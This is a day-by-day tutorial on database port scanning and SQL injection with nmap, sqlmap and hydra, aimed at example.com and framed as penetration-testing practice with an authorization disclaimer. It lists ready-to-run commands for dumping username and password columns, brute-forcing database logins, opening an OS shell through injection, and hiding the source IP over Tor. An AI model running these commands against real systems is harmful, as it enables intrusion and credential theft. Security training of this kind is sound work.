Website Database Scanning Mastery Guide (Day 1-30)

This guide covers tools and commands for website database scanning, organized day-by-day for progressive learning.

Day 1: MySQL Port Scan

- **Command:** `nmap -sV -p 3306 example.com`
- **Purpose:** Detect MySQL service and version.

Day 2: PostgreSQL Port Scan

- **Command:** `nmap -sV -p 5432 example.com`
- **Purpose:** Detect PostgreSQL service and version.

Day 3: SQL Server Port Scan

- **Command:** `nmap -sV -p 1433 example.com`
- **Purpose:** Detect Microsoft SQL Server.

Day 4: Banner Grabbing via Netcat

- **Command:** `nc example.com 3306`
- **Purpose:** Connect to database port to read banners.

Day 5: Default Credential Check

- **Command:** Manual login attempts using common credentials.
- **Purpose:** Identify weak or default credentials.

Day 6: SQL Injection Scan

- **Command:** `sqlmap -u "http://example.com/page?id=1" --batch`
- **Purpose:** Automated SQL injection detection.

Day 7: List Databases

- **Command:** `sqlmap -u "http://example.com/page?id=1" --dbs`
- **Purpose:** Enumerate databases on the target.

Day 8: Manual GET Parameter Testing

- **Command:** Test input parameters manually for SQLi vulnerabilities.
- **Purpose:** Identify injection points.

Day 9: Manual POST Parameter Testing

- **Command:** Send crafted POST requests to test SQLi.
- **Purpose:** Identify vulnerabilities in forms.

Day 10: Blind SQL Injection Detection

- **Command:** Use time-based or boolean-based payloads with sqlmap.
- **Purpose:** Detect blind SQLi vulnerabilities.

Day 11: Dump Tables

- **Command:** `sqlmap -u "http://example.com/page?id=1" -D targetdb --tables`
- **Purpose:** Enumerate tables in a database.

Day 12: Dump Columns

- **Command:** `sqlmap -u "http://example.com/page?id=1" -D targetdb -T users --columns`
- **Purpose:** Enumerate columns in a table.

Day 13: Extract Data

- **Command:** `sqlmap -u "http://example.com/page?id=1" -D targetdb -T users -C username,password --dump`
- **Purpose:** Extract sensitive data from a table.

Day 14: Brute-force MySQL Users

- **Command:** `hydra -L users.txt -P passwords.txt mysql://example.com`
- **Purpose:** Test database login credentials.

Day 15: Brute-force PostgreSQL Users

- **Command:** `hydra -L users.txt -P passwords.txt pgsql://example.com`
- **Purpose:** Test PostgreSQL credentials.

Day 16: Identify Database Users

- **Command:** Use `sqlmap --users` or database queries.
- **Purpose:** Enumerate user accounts.

Day 17: Identify User Roles

- **Command:** `sqlmap -u "http://example.com/page?id=1" --roles`
- **Purpose:** Determine user privileges.

Day 18: Map Database Schema

- **Command:** `sqlmap -u "http://example.com/page?id=1" --schema`
- **Purpose:** Understand database structure.

Day 19: Enumerate Stored Procedures

- **Command:** `sqlmap -u "http://example.com/page?id=1" --stored-procedures`
- **Purpose:** Identify stored procedures for potential abuse.

Day 20: Enumerate Functions

- **Command:** `sqlmap -u "http://example.com/page?id=1" --functions`
- **Purpose:** Identify database functions that could be exploited.

Day 21: Test Remote Code Execution

- **Command:** `sqlmap -u "http://example.com/page?id=1" --os-shell`
- **Purpose:** Attempt to execute OS commands via SQL injection.

Day 22: Automate Data Extraction

- **Command:** Create scripts combining sqlmap and hydra.
- **Purpose:** Automate enumeration and extraction tasks.

Day 23: Save Reports

- **Command:** `sqlmap -u "http://example.com/page?id=1" --batch --output-dir=reports`
- **Purpose:** Store scan results for documentation.

Day 24: Advanced SQLmap Options

- **Command:** `sqlmap -u "http://example.com/page?id=1" --risk=3 --level=5`
- **Purpose:** Increase testing depth and coverage.

Day 25: Test Login Forms for SQLi

- **Command:** `sqlmap -u "http://example.com/login" --data="username=admin&password=pass" --batch`
- **Purpose:** Scan POST-based login forms.

Day 26: Test API Endpoints

- **Command:** `sqlmap -u "http://example.com/api?id=1" --batch`
- **Purpose:** Scan JSON/XML API endpoints for SQLi.

Day 27: Test Multi-Database Environment

- **Command:** `sqlmap -u "http://example.com/page?id=1" --dbms=MySQL,PostgreSQL`
- **Purpose:** Scan multiple database types.

Day 28: Use Tor / Proxy for Stealth

- **Command:** `sqlmap -u "http://example.com/page?id=1" --tor --batch`
- **Purpose:** Hide source IP while testing.

Day 29: Extract Specific Records

- **Command:** `sqlmap -u "http://example.com/page?id=1" -D targetdb -T users -C email --dump`
- **Purpose:** Extract targeted sensitive data.

Day 30: Reporting & Documentation

- **Command:** Compile findings into a penetration testing report.
- **Purpose:** Document vulnerabilities and findings for clients.

Note: Only scan databases that you are authorized to test. Unauthorized database scanning is illegal.